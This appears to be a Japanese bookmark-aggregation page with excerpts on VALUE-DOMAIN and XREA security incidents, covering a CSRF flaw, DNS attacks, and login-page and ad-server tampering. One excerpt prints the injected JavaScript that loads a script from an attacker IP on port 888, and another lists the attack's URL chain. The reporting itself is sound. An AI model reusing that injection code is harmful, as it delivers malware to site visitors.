VALUE-DOMAIN に存在していたアカウント乗っ取り可能な CSRF 脆弱性について - debiruはてなメモ
2015年12月に私が発見した VALUE-DOMAIN での CSRF 脆弱性について、その脆弱性の報告と修正までの経緯を記しておきます。 きっかけ アカウント削除ページの作り アカウント削除ページの問題点 VALUE-DOMAIN への報告 CSRF 攻撃によるアカウント乗っ取りの問題 IPA への届出 余談：IPA への届出の仕方について IPA へ届出した後の状況 VALUE-DOMAIN ユーザの方へ きっかけ 数年前に VALUE-DOMAIN を利用していましたが最近は使っていないのでアカウントを削除しようとしたところ、アカウント削除操作を行うページの作りが「不自然である」ことに気付きました。更に調べたところ CSRF 攻撃によってアカウント乗っ取りが可能な状況であることが分かりました。 アカウント乗っ取りが可能な CSRF 脆弱性は2015年12月22日にIPAに報告し、2
ここ数日のeo光、DTI、VALUE DOMAINで発生したDNSサーバー障害についてまとめてみた。 - piyolog
2015年2月2日以降、eo光、DTI、VALUE DOMAINのDNSサーバーにおいて障害が発生しました。ここではその関連情報をまとめます。なお、各事象の関連性について確証となる情報はpiyokangoが確認できておらず、DNS水責め攻撃の関連は推測です。（似たような障害が重なっただけといった可能性もあります。） DNSサーバー障害が起こった組織 piyokangoが確認した範囲では次の3社のDNSサーバーで障害発生。 (1) eo光 ２０１５年２月１日 ＤＮＳサーバー設備障害復旧のお知らせとお詫びについて（修正報） 障害原因：アクセス数増加（DDoS攻撃）による過負荷 → サーバー設備障害にその後修正 障害発生期間：2015年2月1日 22時45分 〜 2015年2月2日 0時22分 障害による影響：ユーザーがWeb閲覧やメール等のサービスを利用できない場合があった。 (2) DTI
ネーサーバーの混雑について - お知らせ(20090721-2) - VALUE DOMAIN:バリュードメイン
お客様 各位 平素はバリュードメインをご利用いただき誠にありがとうございます。 下記内容で、ネームサーバーの混雑が発生しております。 ○症状 6月頃より、当サービスの無料ネームサーバー ns1-3.value-domain.com の 一部に対して無効な大量のパケット・トラフィックがあることを確認しています。 上記症状が発生した際、名前の解決に時間が掛かるといった影響を受ける場合がございます。 異常を検知しましたら、フィルタリング等で随時対策を行っており、また、近日中に 根本的な対策を講じる予定です。 お客様におかれましては、DNS設定を頻繁に更新しない場合は、標準で120秒の TTL（更新間隔）を、3600〜14400秒等に上げていただく事でかなりの確率で回避できます。 ぜひご検討いただければ幸いです。 ご利用の皆様には、ご迷惑、ご心配をおかけし、大変申し訳ございません。 何卒、対策完了
デジロウイルスまとめwiki
07/06 VALUE DOMAINのログイン画面に不正なJSが挿入される改竄が発見される（第1報・改竄を確認） ログイン画面 (A) ttp://www.value-domain〆.com/login.php は (B) ttp://1856317799〆:888/s.js を呼び出している (C) ttp://110.165.41.103〆:888/dir/m.htm を呼び出している (D) ttp://110.135.41.103〆/dir/show.php を呼び出している ↓ 07/06 魚拓が取得される ttp://s03.megalodon.jp/2009-0706-1843-51/https://〆www.value-domain.com/login.php ↓ 07/06 (C)にノーガードのXPでアクセスしたところキーロガーが検出・ダウンロードされた ↓ 07/07
IEをターゲットにしたゼロデイ攻撃が発生中 | スラド Submission
pluto 曰く、 各所(下部の※参照)によると、Microsoft Video ActiveX コントロールの脆弱性により、リモートでコードが実行される (972890)脆弱性を利用したゼロデイ攻撃が発生しているようだ。 なおこれは5月末に出た Microsoft DirectShow の脆弱性により、リモートでコードが実行される (971778)脆弱性とは別であることに注意。 クライアント側の対策としては IE を使用しない、もしくは Fix it による回避策の実行を行うなどがあげられる。 国内では VALUE DOMAIN のログイン ページ改ざん(2ch.net)が確認された。また VALUE DOMAIN を使用している wikiwik.jp 内でもサイトの改ざんがあり、各 wiki を閲覧したユーザーに被害が広がった模様。 wikiwiki.jp、VALUE DOMAIN と
VALUE DOMAINにウイルスコードが仕込まれる！ | 無題ブログ
VALUE DOMAINにウイルスコードが仕込まれる！ VALUE DOMAINのHPの一部のページにウイルスが仕込まれてるようです。 ウイルスコードが仕込まれているページは、VALUE DOMAINのログイン画面です。（まだ修正されてないのでリンクは切ってます） ttps://www.value-domain.com/login.php 上記にアクセスをしたらjavascriptが読み込まれるようです。 PLAIN TEXTJavaScript: <SCRIPT LANGUAGE="JAVASCRIPT"> var js = document.createElement("script"); js.src = "http://1856317799:888/s.js"; try {document.getElementsByTagName('head')[0].appendChild(js
セキュリティ強化について | お知らせ - バリュードメイン
お客様 各位 平素はバリュードメインをご利用いただき誠にありがとうございます。 クレジットカード決済時のセキュリティ強化のため、各クレジットカードの認証サービス：3Dセキュア（VISA/MASTER）、および、Jセキュア(JCB)を導入いたします。 日時、注意事項などは下記の通りとなります。 ○日時 2009年7月中旬 （切り替え日時が決まり次第、追ってアナウンスさせていただきます。） ○注意事項 ・お持ちのクレジットカードで、本人認証サービスを有効にされている場合は 決済時に、パスワードを入れる画面が出るようになります。 パスワードを入れる画面が出る以外は、いままで通りとなります。 ・お持ちのクレジットカードで、本人認証サービスが有効になっていない場合は いままで通りとなります。 ◎お持ちのクレジットカードで、 本人認証サービスを有効にされている場合で、パスワードをお忘れになった場合は、
月の詩 » XREAサーバーでサイト改竄攻撃
またXREAです。 今回は広告ではなく、XREAサーバー上の複数のサイトで、 htmlソースを改変した強制アクセススクリプトが仕込まれていたようです。 同時にpass漏れとも思えませんので、サーバールート上に仕込まれた可能性がありそうですね。 スクリプトのアクセス先は、6月の広告ウィルスの時と同じ罠置き場です。 XREAサーバー利用者の方は、不審な改変が行われていないかチェックしてみてください。 MMOBBS ： アカウントハック対策・セキュリティ 総合スレ 667 名前：（○口○*）さん[sage] 投稿日：08/08/09 13:06 ID:0MNaemeK0 まーたXREAがやばいらしい。複数サイトで確認。 犯人は6月の広告改ざんと同一(サーバは同じでポートだけと違う(81→88))。 793 ：名も無き軍師：08/08/07 22:04:32 さきほど気付いたの
月の詩 » Blog Archive » XREAの広告ウィルス続報
騒ぎになっているXREA広告ウィルスの件です。 問題のウィルス広告に繋がらなくなっていたので対処されたと思われましたが・・・ 時間帯によって繋がらないだけのようで、まだウィルス広告に繋がります。 5つある広告サーバーの一つが乗っ取られているようですが、 この件に関して、XREA運営から何もアナウンスされませんので不安が広がっています。 無料利用者には広告表示義務がありますので、 雷鳥Wikiは広告を表示しなくて済む有料に変更したみたいですね。。 OSやFlashPlayer等々を最新版にしてあれば、いまのところは大丈夫みたいですけど・・・ 別のウィルスに置き換えたりするかもしれません。 何が起きるか分かりませんので対策を怠らないようにしましょう。 xrea.com part131 640 名前：名無しさん＠お腹いっぱい。 投稿日：2008/06/11(水) 20:03:
無料ユーザー向け広告配信サーバーの不具合について - XREA&CORE SUPPORT BOARD
お世話になっております。 下記内容で、広告配信用キャッシュサーバーで不正なファイルが設置されている不具合が発生しておりました。 ○内容・対応： 5台を広告配信用分散キャッシュサーバーとして運用していますが、その中の1台において、 6月9日頃から不正なページ（ウィルス配布ページへの自動リンクされるページ）が設置されておりました。 このため、無料ユーザー様のページ内に自動挿入される広告を表示した際で、かつ、 主要広告以外の広告が表示された場合に、正常に広告が表示されず、ウィルスを配布する 外部のサーバーへ自動誘導される状態になっておりました。 17日18時の時点で、サーバーを初期状態に戻し復旧しております。 配布されているウィルスについてですが、特定のオンラインゲームのID情報を盗む動作をするということです。 ○原因： 広告配信や画像読み込み用として
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
VALUE DOMAINのネームサーバーに障害、通常の50倍程度の攻撃で応答困難に 
セキュリティ通信｜セキュリティ関連ニュース サイト改ざん(2)ハウス食品、民主党、ローソンなど被害サイト23の改ざん状況
セキュリティ | So-net (ソネット)
Video ActiveXコントロールのゼロデイ脆弱性に対応する 
XREA広告改竄(ウィルス情報)のまとめサイト
Adobe Flash Playerの脆弱性およびXREA広告サーバハッキング問題まとめ
無料ホスティング「XREA」の広告にウイルスへのリンクが混入
サービス終了のお知らせ